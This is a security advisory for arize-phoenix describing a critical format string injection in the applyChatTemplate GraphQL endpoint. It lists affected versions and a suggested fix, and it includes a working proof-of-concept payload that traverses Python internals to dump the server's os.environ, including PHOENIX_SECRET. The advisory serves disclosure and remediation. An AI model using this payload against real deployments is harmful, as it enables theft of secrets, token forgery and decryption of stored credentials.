GHSA-gfv3-m769-5xm3

Suggest an improvement
Source
https://github.com/advisories/GHSA-gfv3-m769-5xm3
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gfv3-m769-5xm3/GHSA-gfv3-m769-5xm3.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-gfv3-m769-5xm3
Aliases
Published
2026-11-17T20:02:29Z
Modified
2026-11-17T20:15:05Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L CVSS Calculator
Summary
Phoenix: Format String Injection in applyChatTemplate
Details
  • Summary

A format string injection vulnerability in the applyChatTemplate GraphQL endpoint allows an attacker to read server-side environment variables, cryptographic secrets, and internal module attributes directly from the API response. On default Phoenix installations where authentication is disabled the endpoint is reachable with no credentials. On auth-enabled deployments, any account regardless of privilege level is sufficient to exploit it.

  • Impact Server filesystem paths, loaded Python module names, and internal configuration constants are fully disclosed, an attacker with network access can read the full server os.environ including the admin credentials hardcoded in phoenix.auth.

Successful exploitation allows an attacker to extract PHOENIX_SECRET, the master key used to sign all JWTs and derive the Fernet encryption key protecting stored credentials (LLM API keys, OAuth tokens). With this key, an attacker can forge admin-level session tokens and decrypt all secrets stored in the database.

  • Affected Versions

First vulnerable release: arize-phoenix-v13.0.0 (2026-02-13) Latest confirmed vulnerable release: arize-phoenix-v14.8.0 (2026-04-17)

  • Affected Component applyChatTemplate GraphQL query endpoint (src/phoenix/server/api/queries.py:1638) FStringTemplateFormatter._format() template rendering function (src/phoenix/utilities/template_formatters.py:272) DotDict.__getattr__() ineffective attribute access control (src/phoenix/utilities/template_formatters.py:90)

  • Proof of Concept payload as txt with an image performing the exploit below. PoC-Phoenix

  • Payload:

{
  "query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
  "variables": {
    "t": { "messages": [{ "role": "USER", "content": [{ "text": { "text": "{u.__class__.__bases__[0].__init__.__globals__[_os].environ}" } }] }] },
    "o": { "format": "F_STRING", "variables": { "u": { "x": 1 } } }
  }
}
  • Suggested Fix

Three mitigations are recommended in combination: restrict attribute traversal at the Formatter.get_field() level (not the wrapper class), add IsAuthenticated permission to the applyChatTemplate resolver, and limit F_STRING format to trusted system-defined templates only.

Best Regards, Omar

Database specific
{
    "cwe_ids": [
        "CWE-134",
        "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-17T20:02:29Z",
    "nvd_published_at": "2026-11-16T20:19:06Z",
    "severity": "CRITICAL"
}
References

Affected packages

PyPI / arize-phoenix

Package

Name
arize-phoenix
View open source insights on deps.dev
Purl
pkg:pypi/arize-phoenix

Affected ranges

Type
ECOSYSTEM
Events
Introduced
13.0.0
Fixed
15.7.0

Affected versions

13.*
13.0.2
13.0.3
13.1.0
13.1.1
13.2.0
13.3.0
13.4.0
13.5.0
13.6.0
13.7.0
13.8.0
13.9.0
13.10.0
13.11.0
13.12.0
13.13.0
13.14.0
13.15.0
13.16.0
13.17.0
13.18.0
13.18.1
13.18.2
13.19.0
13.19.1
13.19.2
13.20.0
13.21.0
13.22.0
13.22.1
13.22.2
13.23.0
14.*
14.0.0
14.1.0
14.1.1
14.2.0
14.2.1
14.3.0
14.3.1
14.4.0
14.5.0
14.6.0
14.7.0
14.8.0
14.9.0
14.9.1
14.10.0
14.11.0
14.12.0
14.13.0
14.14.0
14.15.0
14.16.0
14.17.0
15.*
15.0.0
15.1.0
15.2.0
15.3.0
15.4.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gfv3-m769-5xm3/GHSA-gfv3-m769-5xm3.json"